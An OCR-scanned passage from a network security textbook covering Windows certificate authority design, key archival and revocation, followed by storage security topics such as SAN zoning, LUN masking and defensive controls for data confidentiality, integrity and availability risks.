and functional diversity. CAs can issue various types of templates. A user or computer must
have a template designed and approved for a specific use in order to participate in a
specific function such as encrypting files or using a smart card or enrolling other users.

CA Hierarchy

In a hierarchy, one root CA provides CA certificates for another level of CAs. While there are
many hierarchical designs that can be arranged, the classic, best practice design is displayed
in Figure 10-2. In this design, the root CA is kept offline and produces CA certificates only
for the next, intermediary level of CAs. These CAs are integrated with AD and kept online.
They issue certificates for a third level: the issuing CAs that actually issue certificates for end
use such as EFS or smart cards. Issuing CAs do not issue CA certificates.

Root CA

Intermediary CAs
Issuing CAs ‘I ‘

EFS IPSec IPSec
Figure 10-2 A classic Windows CA hlerarchy

www.it-ebooks.info


http://www.it-ebooks.info/

248

PART Il Data Security

Certificate Templates and Enrollment

CAs integrated with Active Directory, called Enterprise CAs, issue many different types of
certificates, based on built-in certificate templates. Enrollment can be automatic, manual
with automatic issuance, or manual and approved by a CA Administrator. Permissions set on
the templates further determine which groups of Windows users and computers can actually
obtain a certificate. Windows Server 2003 introduced version 2 certificate templates, which
can be customized and add features such as auto enrollment and even key archival. Key
archival allows the private key associated with the certificate to be stored in a central
database. This is important for recovery. Encrypted files, for example, cannot be decrypted
without the private key associated with the public key used to protect the file encryption key.
By archiving the EFS private keys, an organization ensures the availability of the data, even if
the original keys are destroyed or damaged.

Windows Server 2008 R2 introduced version 3 templates, which add support for the
newer Microsoft Crypto-API, giving administrators the ability to produce certificates using
the more advanced and secure elliptic curve cryptography (ECC) cryptography service
providers (CSPs).

NOTE So, you're thinking, what would prevent a malicious administrator from retrieving the private key
and reading the private files? The answer lies in the design of the system and in the proper
application of controls such as enforcing role separation. A specific template is assigned to trusted
users to act as key recovery agents. To recover the keys, a user account must obtain the certificate.
Without this certificate, even an administrator cannot retrieve the keys. In addition, it actually takes
two to tango; a CA Administrator and a key recovery agent must cooperate to obtain the archived
keys. One individual on their own cannot do so. As such, it is a good idea to store important
certificates, such as the Key Recovery Agent, on a smart card, to ensure that it can’t be duplicated
and distributed.

Revocation

Certificates do a have a validity period, or time during which they may be used, and any
certificate-aware application should be designed to check this time frame before approving
use of the certificate. Nevertheless, keys might be compromised, and users leave the
company—what then? A certificate can be revoked, and the CA periodically publishes a list,
the certificate revocation list (CRL), which can be examined by the application. Windows
Server 2008 added support for Online Certificate Status Protocol (OCSP) responders,
which can be utilized by Windows Vista or higher. OCSP responders are more efficient at
letting clients know if a certificate is valid.

An excellent analogy for CRLs is the old way in which credit cards were verified as still
valid. Credit card companies used to send to stores large books that listed all credit card
numbers that had been canceled. It was the responsibility of the store employee to look up
a card against that list at the time of transaction to make sure it hadn’t been canceled. This
is exactly how a CRL works. The CRL publishing path is stamped into the certificate in the
CRL Distribution Path (CDP) and is typically an HTTP path. OCSP works the way modern
credit card validation works. At the time of transaction, the credit card number is sent to a
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service whose job is to tell the merchant if the number is still valid or not. The service
returns a simple “yes” for valid or “no” for invalid; if valid, the transaction is allowed to
proceed. This is how OCSP works. OCSP responders are listed in the Authority Information
Access (AIA) field of the certificate.

Role Separation

Each user and administrator of certificate services plays a role. Specific CA roles are CA
Administrator and CA Manager. The CA Administrator manages the CA, and the CA
Manager manages certificates. The CA Administrator is not automatically granted
operating system administrator privileges, and the local, domain, or enterprise admin can
have her default CA administration privileges removed. Users are given Enroll rights (the
right to request a certificate and, if template permissions are validated, to obtain a specific
certificate). Backup Operators are given the right to back up the CA. This role separation
fulfills two of the dictums of good security: provide each user with only the permissions and
privileges they need to do a good job, and separate activities so that it takes two or more
people to perform sensitive operations.

Note that the operating system administrators can reclaim the right to administer the
CA. There is no way to permanently remove the ability of an administrator to administer a
Windows system. You will have to trust the administrator to follow the security policy—and
audit their activity on the computer.

Of course, membership in multiple groups can subvert this security paradigm. However,
it is possible in Windows Server 2003 and later CAs to enforce role separation. If this is
done, any user who has both CA Administrator and CA Manager rights will not be able to
exercise either.

The only reasonable way to further protect the CA from a system administrator is to store
the private keys for the CA in a Hardware Security Module (HSM) and enforce the use of
multiple smart cards to access the key material. This allows you to issue % cards and define the
need for m cards to be present to activate the HSM and thus activate the CA. While this can be
inconvenient for rebooting CAs, it is an excellent improvement in overall security for a PKI.

Cross-Certification

Just as multiple Windows domains or forests can inadvertently multiply within an
organization, so can multiple CA hierarchies be created. If this is the case and trust
between the hierarchies is required or if you need to establish trust between two hierarchies
belonging to different organizations, Windows Server 2003 or higher CA hierarchies can
cross-certify with other Windows Server 2003 or higher CA hierarchies and some third-party
product CA hierarchies. Cross-certification is obtained by issuing and exchanging cross-
certification certificates between the hierarchies. Multiple constraints can be applied to
limit the cross-certification.

Compliance with Standards

If you are following a specific security framework, here’s how NIST, ISO 27002, and COBIT tie
in to this chapter. NIST has the most specific guidance for configuring Windows, down to the
level of how to configure the operating system. ISO 27002 has some higher-level guidance, and
COBIT is even higher level. The relevant sections of each standard are provided.
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NIST

Data Security

NIST offers guidance for use of encryption in U.S. government agencies in several Special
Publications:

SP 800-133: DRAFT Recommendation for Cryptographic Key Generation

SP 800-131A: Transitions: Recommendation for Transitioning the Use of
Cryptographic Algorithms and Key Lengths

DRAFT SP 800-130: A Framework for Designing Cryptographic Key Management
Systems

SP 800-111: Guide to Storage Encryption Technologies for End User Devices

SP 800-78-3: Cryptographic Algorithms and Key Sizes for Personal Identification
Verification (PIV)

SP 800-67 Rev. 1: Recommendation for the Triple Data Encryption Algorithm
(TDEA) Block Cipher

SP 800-56B: Recommendation for Pair-Wise Key Establishment Schemes Using
Integer Factorization Cryptography

SP 800-56A: Recommendation for Pair-Wise Key Establishment Schemes Using
Discrete Logarithm Cryptography

SP 800-21 [Second Edition]: Guideline for Implementing Cryptography in the
Federal Government

ISO 27002

ISO 27002 contains the following provisions, to which this chapter’s contents are relevant.

12.3.1 The use of cryptographic controls should be governed by a policy that
specifies the level of protection for information based on a risk assessment, and
digital signatures should be used to protect the authenticity and integrity of key
electronic documents.

12.3.2 A cryptographic key management system should be used to protect the keys
associated with cryptographic controls, based on secure standards.

15.1.6 The use of cryptographic controls should comply with local and national
laws and regulations.

COBIT

COBIT contains the following provision, to which this chapter’s contents are relevant.

DS5.8 Policies and procedures for cryptographic key management should manage
the lifecycle of keys, including their generation, use, protection, and destruction,
and the keys should be properly protected.

www.it-ebooks.info


http://www.it-ebooks.info/

Chapter 10 Encryption 251

Summary

This chapter provides a high-level overview of how encryption works, and what encryption
methods are available, along with some of their relative strengths and issues. A deeper dive
into encryption requires a whole book, several examples of which are included in the
“References” section at the end of the chapter for those who wish to learn more.

In this chapter, we started with a brief history of encryption in order to establish a
context regarding the limited lifespan of cryptographic techniques. Looking at early codes,
and the progression to more modern codes, we saw how the encryption methods evolve to
stay one step ahead of those who want to break the confidentiality of the protected data.

Symmetric-key cryptography evolved naturally from early methods of hiding data using
mathematical transformations. In these algorithms, key exchange is a key challenge.
Whoever possesses the key can decrypt the message—thus, properly secured key exchange
is critical to the continued confidentiality of the data.

Public key cryptography is the next evolution of encryption. Using two keys, one public
and one private, helps deal with the problem of key exchange that was encountered in
symmetric-key encryption. Public Key Infrastructure (PKI) uses public key cryptography to
create certificates, which are used for a variety of purposes. Finally, we looked at how to
keep the certificate server protected, which is important for keeping the certificates safe.
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CHAPTER

1 1 Storage Security

The primary concern of network security is to protect assets that reside on the network.
Naturally, the most significant of those assets is data. Data resides in storage, which is either
controlled or unmanaged. Storage technologies have evolved over the past decade in
complexity, capability, and capacity, and the effectiveness of storage security controls and
technologies has advanced accordingly. Today’s storage technologies can protect data
natively in many ways; for example, many modern storage technologies include built-in
encryption and access control to protect confidentiality and integrity, redundancy to
protect availability, and onboard protection against malware.

In this chapter, we’ll cover the ways in which the built-in security features of modern
storage infrastructures can be leveraged to protect data. We’ll also look at how to protect
data on storage devices and platforms using additional technologies outside the native
functionality of storage systems, to remediate residual risks to that data. And finally, we’ll
review best practices for building storage infrastructures to provide the best protection for
data assets. Let’s begin with a look at how storage security has changed in recent years.

Storage Security Evolution

When the first edition of this book was published almost ten years ago, 3.5-inch floppy disk
drives were still included on some computers. Being portable storage devices, floppy disks
were hard to secure. They were easily lost, or the data on them became corrupted. They
could be used to propagate malware, either through files on the disk or through active
code like the “girlfriend exploit” (as described in Chapter 2, named for the infamous
practice of breaking into a network by giving a disk containing exploit software to a
significant other who works there, and instructing her to run the program). The use of
floppy disks was largely phased out by the late 2000s.

The next generation of storage devices, compact discs (CDs) and digital video discs
(DVDs), posed a unique threat due to their longevity. Unlike other, more volatile storage
media, these polycarbonate-encased metal optical data storage devices seem like they will
last forever if handled properly. While optical discs are great for reliability and availability
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of data, their longevity elicits concerns of its own. If you place private, confidential data on
a CD or DVD and then misplace the disc, who knows how long it might stick around and
who may discover it in the future. For this reason, optical storage devices were banned in
many corporate environments, especially those required to comply with privacy regulations.
Moreover, once the data is burned to the media, it can’t be changed, so you can’t
retroactively apply protection to it.

Flash drives (USB sticks and the like) have exploded in popularity over the past few
years. These devices have become so cheap and prevalent that they have practically
supplanted optical storage devices. Who needs to burn when you can simply copy?
Nevertheless, while not as durable as optical storage, flash drives are similar to the archaic
floppy disks of the past in many ways. They are omnipresent—many organizations try to
ban their use, but everybody has one—so policies prohibiting these devices are hard to
enforce outside of controlling the USB ports on every computer in the environment. They
are prone to both malware and girlfriend exploits, in the same way floppies were—even
more so, in the age of “autorun” (automatic execution of any code that is on the device,
immediately upon connecting it). Flash drives are a significant source of malware infections
in many environments. In addition, they make data theft remarkably easy with their small
size, portability, and compatibility with every major computing platform.

Portable hard drives, like flash drives, are cheap and plentiful. With their large storage
capacities, they carry all the same threats. In fact, portable USB hard drives have so much
capacity that they can be used to steal all the data in many organizations. Portable hard
drives have made it so easy to bulk-download huge amounts of data—like fishing with a huge
net—that data thieves are sure to find valuable intellectual property strewn among the files
they collect. Even modern smartphones, cameras, and tablets contain large amounts of flash
memory and are accessible via USB, allowing data thieves to copy files unobtrusively.

The newest form of portable storage is the solid-state drive (SSD). SSD devices combine
the best features of flash drives and portable hard drives, and as their prices drop in
relation to demand, we can expect them to become increasingly ubiquitous. And, like flash
drives and portable hard drives, SSDs facilitate bulk data theft.

In addition to the previously mentioned dedicated storage devices, the security
practitioner now also has to contend with smartphones and mobile devices, which have
significant amounts of onboard storage. These devices pose a significant risk to an
organization’s data because they are less “obvious” than a hard drive or memory stick and
because any stolen data hiding on them can be hard to detect. Chapter 25 contains some
advice on how to deal with this problem in particular.

All of the storage devices mentioned thus far are considered to be unmanaged. The
best protections for (and against) them are encryption and access control. Encrypting
confidential data can stop, or discourage, data theft. Information rights management
(covered in Chapter 9) can protect confidential documents such that, even if they are stolen,
they can’t be opened by unauthorized users. In addition, USB device control software can
block access to the USB ports on computers where it’s installed, and it can allow or block
various activities such as copying to or from USB devices, based on the type of document.

Chapter 8 covers solutions for protecting unmanaged data on all the types of storage
discussed in this section. Ultimately, unmanaged storage devices are hard to secure and
hard to control. That’s why organizations have turned to managed storage, which allows
their data to be accessed in secure, controlled ways. With managed storage, organizations
can block USB storage devices and drive users toward the managed storage instead.
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Modern Storage Security

Modern storage solutions have moved away from the endpoint computers to the network.
Network-attached storage (NAS) and storage area networks (SANs) consist of large hard drive
arrays with a controller that serves up their contents on the network. NAS can be accessed by
most computers and other devices on the network, while a SAN is typically used by servers.

These storage systems have many built-in security capabilities to choose from. Based on
the security requirements of the environment, these security settings can be configured to
meet the objectives of the security policy. Today’s storage environments are complex. In
fact, modern storage environments can be considered as separate IT infrastructures of
their own. Many organizations are now dividing their IT organizations along the lines of
networks, servers, and storage—acknowledging that storage merits a place alongside these
long-venerated institutions.

Storage Infrastructure

Storage infrastructure can often be found on a dedicated LAN, with servers, arrays, and
NAS appliances, as shown in Figure 11-1, with specialized operating systems to support the
storage. Storage can also be located in multiple sites, including geographically diverse
regional distributions, and even third-party and Internet locations. In securing these
components, you must take into account three primary categories:
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Figure 11-1 Fundamental storage infrastructure
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Primary storage is composed of a storage device such as a NAS appliance or a storage
array. The contents of the storage components are managed and served via a server
infrastructure, with an operating system that is compatible with servers and workstations
in the end-user environment. The network connections between the primary storage and
the storage servers should be independent of the corporate IP network, because the
communications that take place on these local connections are internal and don’t require
access from the rest of the network—they are specialized in their functionality.

In the following sections, we consider the risks to the storage infrastructure, and controls
and processes to mitigate those risks. We also consider the lifecycle of the data as it moves
from its primary location to secondary storage as it is backed up or replicated, as depicted
in Figure 11-2.

Storage Networks

Separation of duties should be applied within the storage infrastructure. Since all storage
devices are connected physically, either over a network or through a storage connection
protocol, separating access to the physical servers prevents a storage administrator from
connecting a rogue server into the environment and then provisioning it access to restricted
logical unit numbers (LUNs). A LUN is the mechanism an array uses to present its storage to
a host operating system. Likewise, while someone may connect a server to the environment
and configure it, methods of protecting the LUNs are applied so that the server cannot gain
access to restricted LUNS.

Isolating data traffic between LUNS via the switch is accomplished through the use of
zoning—comparable to virtual LANs (VLANS) in the network world. Zoning creates a
protected zone where only identified devices within that zone are allowed to communicate
with each other. This is illustrated in Figure 11-3.
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Figure 11-3 Security areas of zoning

In addition to providing security, zoning also protects against a faulty hardware device
affecting other servers through excessive chatter. Zoning also provides the opportunity for
redundancy, since there can be multiple device addresses within the zone that allow
communication to continue between the remaining good interfaces.

When a storage administrator configures zoning for the infrastructure, there are two
types of zoning to choose from: port zoning and World Wide Name (WWN) zoning. In fact,
these two methods can be used interchangeably, though generally one or the other is used,
to maintain consistency. Each zoning type has its own advantages and disadvantages.

Port Zoning The most notable characteristic of port zoning is that the accessibility of the
host to the LUNSs is defined by the switch port. The advantage to zoning in this manner is
that an intruder cannot connect a host to the switch, enable spoofing of a good WWN, and
access LUNs of another host. Since the protection is enforced on the port interface, the
intruder would need to disconnect the good host interface and connect the intruding host
into the defined port. All this would need to be done without any alerts being flagged by
the host operating system, which is practically impossible.

The disadvantage of port zoning is that management requires extra work. Each time
you re-cable a host to another port, you need to change the zoning for that host’s
connection to its storage resources to continue to function. Even though moving a host to
different ports is not common, it may happen more often than you realize. For example,
your SAN environment may grow, requiring an additional switch. Or perhaps you already
have multiple switches but you need to distribute the workload across the SAN more
efficiently. In either case, what otherwise would be a simple task consisting of unplugging a
cable and connecting the new one requires an additional zoneset reconfiguration (change to
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the data that contains all of the zones defined on the switch). Zoneset reconfigurations,
though minimally intrusive, still cause some disruption. Therefore, though port zoning is
more secure, you will find many SAN environments configured with WWN zoning because
it is easier to manage.

WWN Zoning The alternative to port zoning, in which the zones are created relative to the
ports the servers are connected to on the switch, is WWN zoning, which defines the individual
zone based on the WWN ID of the host bus adapter (HBA). The WWN is very much like the
MAC address of a network card. It is a 16-digit hexadecimal number that uniquely identifies
the HBA within the SAN fabric. These numbers are assigned in much the same way as MAC
addresses are assigned to OEM manufacturers, with the first eight digits assigned to specific
manufacturers and the rest of the numbers assigned by the manufacturers.

Arrays
Another area of risk is the storage array itself, as highlighted in Figure 11-4. When LUNs
are created, it is necessary for the array to provide a screen to prevent the data that resides
on the array from being accessed by other hosts that are able to connect to the array.
Storage arrays are therefore equipped with a mechanism that provides protection known as
LUN masking. This allows multiple hosts to communicate with the array and only access
LUNs that are assigned through the application that provides the LUN-masking protection.
Consider the differences in protection between zoning and LUN masking. We described
zoning as being comparable to isolating traffic between hosts on a network utilizing VLANS.
While zoning, like VLAN:S, isolates the traffic as it travels between the host and the storage
array so that it is not intercepted, it provides no protection to the data once it is on the host.
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Figure 11-4 Security areas of arrays
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Similarly, though a server may have data being sent to it from several hosts on different
VLANS, once the data is put on the server, the potential still exists for that data to be
accessed by other hosts on other networks. LUN masking adds a layer of protection to the
data once that data resides on the storage array.

Servers

Finally, we need to consider the risks that reside on the host itself, as illustrated in Figure 11-5.
Storage administrators often have limited control over what can or cannot be done on the
host, as this administration is handled by the systems administrators. However, in many
organizations, the systems administrator is also the storage administrator, which means that
person has full access to both the storage and the systems that use it.

As long as the data “rests” on the server, the potential to access that data exists. Many
options are available to protect that data while it is at rest on the server. The concern of the
storage administrator is what happens if someone is able to access the data either locally or
remotely. In the worst-case scenario, an attacker may obtain access to the server and
escalate his authority to attempt to read the data. In order to keep the data secure in this
scenario, it is necessary to implement data encryption.

Therefore, when securing data, a comprehensive solution is necessary. The operating
system must be secured and patched, file permissions must be planned and applied to
reduce access as much as possible, and monitoring needs to be performed. Finally,
confidential data should also be encrypted to protect it from unwanted access.
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Figure 11-5 Security areas of servers
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Administration Channel

Administration of the storage environment should be done through a network that is
separate from the main corporate network. Malware, rogue administrators, and attackers all
need to rely on a corporate network to gain unauthorized access to administration functions
they can exploit to compromise infrastructure. It’s not uncommon for an Internet-facing
web server to be attacked, successfully compromised, and then used to attack other systems
on the internal network. You don’t want those compromised systems to be used to attack
your storage infrastructure through the administration channel, so when designing your
storage network, you should include a separate, access-controlled network segment just for
the administration of the storage array.

Risks to Data

Earlier in this chapter, the “Storage Infrastructure” section outlined areas of risks in the
individual components of the SAN/NAS storage environment. This section covers the
specific risks to the data itself. There are two key areas of risk to data, and those are related
to how the data is presented to the clients. The first risk involves data that can be accessed
via an unauthorized system. The second risk is data access by unauthorized persons.

Access by an Unauthorized System

The potential for an unauthorized system to access protected data may seem unlikely at
first glance. However, when you consider issues that may arise from either administrator
error or intentional unauthorized access, the potential for data to become compromised
begins to increase. How, then, can an unauthorized system obtain access to another
system’s data?

In this scenario, the data most likely will be presented in the form of a LUN. This LUN
can be provided through either a Fibre Channel connection or an Internet Small Computer
Systems Interface (iSCSI) connection. Both connection types present the same level of risk.
Attacking the LUN would require the use of spoofing, which enables a computer’s host bus
adapter (HBA) to change the WWN that it presents to that of the target system.

This is not necessarily easy to accomplish, because Fibre Channel ports in general do
not utilize port spanning, which is what an attacker attempts to exploit to intercept (sniff)
traffic in order to learn which WWNs are transmitting data on the network. An attacker
who wanted to spoof a WWN would need to have inside information about which host
WWNs they should target. However, it is theoretically possible.

Despite the difficulty, the ability of a host to spoof a WWN is a potential risk—and once
that WWN is spoofed, much of the protection that is in place within a storage environment
is exposed. Theoretically, the spoofed WWN would then have access via the zones defined—
if WWN zoning is used, which is often the case—and the LUN-masking provided by storage
arrays is also usually configured based on WWNs. Having bypassed those two key security
methods, the intruding host can gain access to all of the data on those LUNS.

Think of this in the context of an individual disk. Suppose you have removed a disk from
a server and placed it on another server—what happens to the file protection that was put in
place by the original system? The disk is now owned by the new OS, and, as administrator or
root of this rogue system, you can now change permissions and access the data. And as long
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as the attacker just reads from the volume and avoids writing to it, the original host may never
become aware anything unusual has taken place.

Another best practice to prevent WWN spoofing and sniffing is to dedicate the switches
used to connect the storage devices to service only the servers and storage, so that end-user
devices and other systems are not allowed to share the switch hardware. This approach
relies on the physical security of the switches to limit your exposure.

The other way that data can be exposed to risk from an unauthorized system is through
deliberate or negligent configuration by a storage administrator. A storage administrator
could deliberately or mistakenly assign a LUN to the wrong servers, or perhaps select the
wrong LUN for a particular server. In either case, nothing would prevent the administrator
from doing this, since the zone would exist and the server would be properly connected and
zoned to the array. Because the server would be properly registered to the array, LUN
masking would not prevent it either. You might wonder why storage arrays would be allowed
to do this. For migration purposes, storage vendors provide LUN-sharing capability between
servers in order to support server clusters. This is commonly seen with the prevalence of
virtualized clusters. In order to move the virtual servers from one host to another, the LUNs
must be shared between the hosts.

Recognizing the risks involved with presenting LUNSs to your servers is thus important
when deciding how to secure your storage.

Access by Unauthorized Person

Another risk to data at rest on a server is compromise of the server itself through the data-
access mechanisms built into the server. All data that is controlled by a server is at risk of the
authorization mechanisms of the system itself being compromised and thereby exposing the
data to an attacker.

Once the server is under the control of an attacker, the attacker has the ability to
change permissions on the file system; thus, the new OS owner can permit access to all
data. An attacker who compromises a system does not necessarily need to begin making
changes to the file systems in order to collect information. Perhaps the attacker is only
interested in intercepting data being written to or read from storage. Just as there are tools
that can sniff network traffic on wired and wireless networks, there are tools that can sniff
traffic on a Fibre Channel network. Using a compromised system, or perhaps malware, an
intruder could launch a sniffing tool and collect data from the system. In addition, by
having access to this compromised system, the attacker has the option to launch repeated
attacks to the storage infrastructure to gain access to data from other servers in addition to
the server initially compromised.

Risk Remediation

This section categorizes the risks associated with data storage according to the classic CIA triad
of Confidentiality, Integrity, and Availability (introduced in Chapter 4). For each identified
risk, where possible, security controls consistent with the “three Ds” of security (introduced in
Chapter 1)—defense, detection, and deterrence—are applied in an effort to mitigate the risk
using the principle of layered security (also known as defense-in-depth). What's left after those
controls are applied to mitigate the risks is then identified as residual risks.
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Confidentiality Risks

Confidentiality risks are associated with vulnerabilities and threats pertaining to the privacy
and control of information, given that we want to make the information available in a
controlled fashion to those who need it, without exposing it to unauthorized parties.

Data Leakage, Theft, Exposure, Forwarding

Data leakage is the risk of loss of information, such as confidential data and intellectual
property, through intentional or unintentional means. There are four major threat vectors
for data leakage: theft by outsiders, malicious sabotage by insiders (including unauthorized
data printing, copying, or forwarding), inadvertent misuse by authorized users, and mistakes
created by unclear policies.

¢ Defense Employ software controls to block inappropriate data access using a data
loss prevention (DLP) solution and/or an information rights management (IRM)
solution, as described in Chapters 8 and 9.

* Detection Use watermarking and data classification labeling along with monitoring
software to track data flow.

¢ Deterrence Establish security policies that assign serious consequences to
employees who leak data, and include clear language in contracts with service
providers specifying how data privacy is to be protected and maintained, and what
the penalties are for failure to protect and maintain it.

* Residual risks Data persistence within the storage environment can expose data
long after it is no longer needed, especially if the storage is hosted on a vendor-
provided service that dynamically moves data around in an untraceable manner.
Administrative access that allows system administrators full access to all files, folders,
and directories, as well as the underlying storage infrastructure itself, can expose
private data to administrators.

Espionage, Packet Sniffing, Packet Replay

Espionage refers to the unauthorized interception of network traffic for the purpose of
gaining information intentionally. Using tools to capture network packets is called packet
sniffing, and using tools to reproduce traffic and data that was previously sent on a network
is called packet replay.

* Defense Encryptdata atrestas well as in transit through the use of modern,
robust encryption technologies for file encryption, as well as network encryption
between servers and over the Internet.

* Detection An information rights management (IRM) solution can keep track of
data access, which can provide the ability to detect inappropriate access attempts.
In addition, an intrusion detection system (IDS) can help identify anomalous
behavior on the network that may indicate unauthorized access.

www.it-ebooks.info


http://www.it-ebooks.info/

Chapter 11 Storage Security 263

¢ Deterrence In storage environments that are hosted by a third party, employ
contract language that makes the service provider liable for damages resulting from
unauthorized access.

* Residual risk Data can be stolen from the network through tools that take
advantage of network topologies, network weaknesses, compromised servers and
network equipment, and direct access to network devices.

Inappropriate Administrator Access

If users are given privilege levels usually reserved for system administrators, that provide
full access to a system and all data that system has access to, they will be able to view data
or make changes without being properly restricted through the system’s authorization
processes. Administrators have the authority to bypass all security controls, and this can be
used to intentionally or mistakenly compromise private data.

e Defense Reduce the number of administrators for each function (servers, network,
and storage) to as low a number as possible (definitely fewer than ten, and preferably
fewer than five) and ensure that thorough background checks are used to screen
personnel who have administrative access. A vendor security review should be
performed to validate these practices before engaging any vendors.

* Detection Review the provider’s administrative access logs for its internal
infrastructure on a monthly or quarterly basis. Review the provider’s list of
administrators on a biannual basis.

¢ Deterrence Establish security policies especially for administrators, that assign
serious consequences for inappropriate data access. In hosted environments, select
only providers that have good system and network administration practices and
make sure their practices are reviewed on a regular basis.

* Residual risk Because administrators have full control, they can abuse their access
privileges either intentionally or accidentally, resulting in compromise of personal
information or service availability.

Storage Persistence

Data remains on storage devices long after it is no longer needed, and even after it is deleted.
Data that remains in storage after it is no longer needed, or that is deleted but not strongly
overwritten, poses a risk of later discovery by unauthorized individuals.

¢ Defense Maintain a U.S. Department of Defense (DoD)-level program of disk
wiping or file shredding when disks are decommissioned or replaced, and after
old data is archived.

* Detection There isn’t much that can be done to discover that your data persists on
a disk that has been taken offline.

¢ Deterrence Establish data-wiping requirements before selecting a storage product
and ensure that contract language clearly establishes these requirements.

¢ Residual risk Data can remain on physical media long after it is thought to have
been deleted.
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Storage Platform Attacks

Attacks against a SAN or storage infrastructure directly, including through the use of a
storage system’s management control, can provide access to private data, bypassing the
controls built into an operating system because the operating system is out of the loop.

¢ Defense Ensure thatstrong compartmentalization and role-based access control
(RBAC) are implemented on the storage system. Ensure that access to the
management interface of the storage system is not accessible from the common
network.

¢ Detection Implementan IDS on the storage network, as described in more detail
in Chapter 18, and review storage system access control logs on a quarterly basis.

¢ Deterrence Employ strong legal representation and project a strong commitment
to identifying and prosecuting attackers.

® Residual risk Data can be stolen directly from the SAN, and you may find out about
it after the fact or not at all.

Misuse of Data

People who have authorized access to data can do things with the data that they are not
supposed to do. Examples are employees who leak information to competitors, developers
who perform testing with production data, and employees who take data out of the controlled
environment of the organization’s network into their unprotected home environment.

e Defense For employees, use security controls similar to those in private data
networks, such as DLP, RBAC, and scrambling of test and development data.
Block the ability to send e-mail attachments to external e-mail addresses.

® Detection Use watermarking and data classification labeling along with monitoring
software to track data flow. IRM can be used to perform these functions.

¢ Deterrence Employ a strict security policy paired with an awareness program to
deter people from extracting data from controlled environments and moving it to
uncontrolled environments.

* Residual risk People can find ways around controls and transfer data into
uncontrolled environments, where it can be stolen or misused.

Fraud

A person who illegally or deceptively gains access to information they are not authorized
to access commits fraud. Fraud may be perpetrated by outsiders but is usually committed
by trusted employees.

* Defense Use checksand balances along with separation of duties and approvals to
reduce the dependence on single individuals for information access, so if somebody
does perform a fraudulent action, it will be noticed. This can also be a deterrent
action.
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¢ Detection Perform regular audits on computing system access and data usage,
giving special attention to unauthorized access.

¢ Deterrence Ensure that security policies include penalties for employees who
access data they are not authorized for. In hosted environments, transfer risk to
service providers using contractual language that holds the service provider
responsible for fraud committed by a service provider employee.

* Residual risk Fraudulent data access can occur despite the controls that are
designed to prevent it.

Hijacking

Hijacking in the context of computing refers to the exploitation of a valid computer session—
sometimes also called a session key—to gain unauthorized access to information or services in
a computer system. In particular, it’s the theft of a magic cookie used to authenticate a user to
a remote server. For example, the HTTP cookies used to maintain a session on many web sites
can be stolen using an intermediary computer or with access to the saved cookies on the
victim’s computer. If an attacker is able to steal the authentication cookie, they can make
requests themselves as if they were the genuine user, gaining access to privileged information
or changing data. If this cookie is a persistent cookie, then the impersonation can continue
for a considerable period of time. Any protocol in which state is maintained using a key
passed between two parties is vulnerable, especially if it’s not encrypted.

* Defense ILook for solid identity management solutions that specifically address
this risk using strong, difficult-to-guess session keys with encryption. Use good key
management, key escrow, and key recovery practices as a customer so that employee
departures do not result in the inability to manage your data.

¢ Detection Routinely monitor logs, looking for unexpected behavior.

¢ Deterrence Not much can be done to deter attackers from hijacking sessions, other
than aggressive legal response.

* Residual risk Attackers can impersonate valid users or even use administrative
credentials to lock you out or damage your infrastructure.

Phishing

Phishingis an attempt to trick a victim into disclosing personal information. The most
common method of phishing is to send potential victims an e-mail message that appears to be
from a legitimate organization and directs the recipients to log in and provide a username,
password, credit card information, or other sensitive information.

* Defense Employ anti-phishing technologies to block rogue web sites and detect
false URLs. Use multifactor authentication for customer-facing systems to ensure
that users are aware when they are redirected to fake copies of your web site. Send
periodic informational updates and educational materials to customers explaining
how the system works and how to avoid phishing attempts. Never send e-mails that
include or request personal details, including ID or passwords.
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¢ Detection Use an application firewall to detect when remote web sites are trying
to copy or emulate your web site.

¢ Deterrence Maintain educational and awareness programs for individuals who use
and store personal information of employees or customers.

* Residual risk Employees can fall for phishing scams despite the best training and
awareness programs, especially if those scams are sophisticated. This can result in
data loss.

Integrity Risks

Integrity risks affect both the validity of information and the assurance that the information
is correct. Some government regulations are particularly concerned with ensuring that
data is accurate. If information can be changed without warning, authorization, or an audit
trail, its integrity cannot be guaranteed.

Malfunctions
Computer and storage failures that corrupt data damage the integrity of that data.

¢ Defense Make sure the storage infrastructure you select has appropriate RAID
redundancy built in and that archives of important data are part of the service.

* Detection Employ integrity verification software that uses checksums or other
means of data verification.

e Deterrence Due to the nature of data, because there is no human element involved,
there isn’t much that can be done.

¢ Residual risk Technology failures that damage data may result in operational or

compliance risk (especially relating to Sarbanes-Oxley requirements for publicly
traded companies to ensure the integrity of their financial data).

Data Deletion and Data Loss

Data can be accidentally or intentionally destroyed due to computer system failures or
mishandling. Such data may include financial, organizational, personal, and audit trail
information.

¢ Defense Ensure thatyour critical data is redundantly stored and housed in more
than one location.
¢ Detection Maintain and review audit logs of data deletion.

¢ Deterrence Maintain educational and awareness programs for individuals who
access and manage data. Ensure that data owners are assigned that have authority
and control over data and responsibility for its loss.

¢ Residual risk Once critical data is gone, if it can’t be restored, it is gone forever.
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Data Corruption and Data Tampering

Changes to data caused by malfunction in computer or storage systems, or by malicious
individuals or malware, can damage the integrity of that data. Integrity can also be damaged
by people who modify data with intent to defraud.

* Defense Ultilize version control software to maintain archive copies of important
data before it is modified. Ensure that all data is protected by antivirus software.
Maintain role-based access control over all data based on least privilege principles,
pursuant to job function and need to know.

* Detection Use integrity-checking software to monitor and report alterations to
key data.

¢ Deterrence Maintain educational and awareness programs for individuals who
access and manage data. Ensure that data owners are assigned that have authority
and control over data and responsibility for its loss.

¢ Residual risk Corrupted or damaged data can cause significant issues because
valid, reliable data is the cornerstone of any computing system.

Accidental Modification

Perhaps the most common cause of data integrity loss, accidental modification occurs
either when a user intentionally makes changes to data but makes the changes to the wrong
data or when a user inputs data incorrectly.

¢ Defense Ultilize version control software to maintain archive copies of important
data before it is modified. Maintain role-based access control over all data based on
least privilege principles, pursuant to job function and need to know.

* Detection Use integrity-checking software to monitor and report alterations to
key data.

* Deterrence Maintain educational and awareness programs for individuals who
access and manage data. Ensure that data owners are assigned that have authority
and control over data and responsibility for its loss.

* Residual risk Corrupted or damaged data can cause significant issues because
valid, reliable data is the cornerstone of any computing system.

Availability Risks

Availability risks are associated with vulnerabilities and threats pertaining to the reliability
of services, given that we want the services that we use to be reliable, to pose a low risk, and
to have a low incidence of outage.

Denial of Service
A denial of service (DoS) attack or distributed DoS (DDoS) attack is an attempt to make a
computer resource unavailable to its intended users. This type of attack commonly involves

www.it-ebooks.info


http://www.it-ebooks.info/

268 PARTIl  Data Security

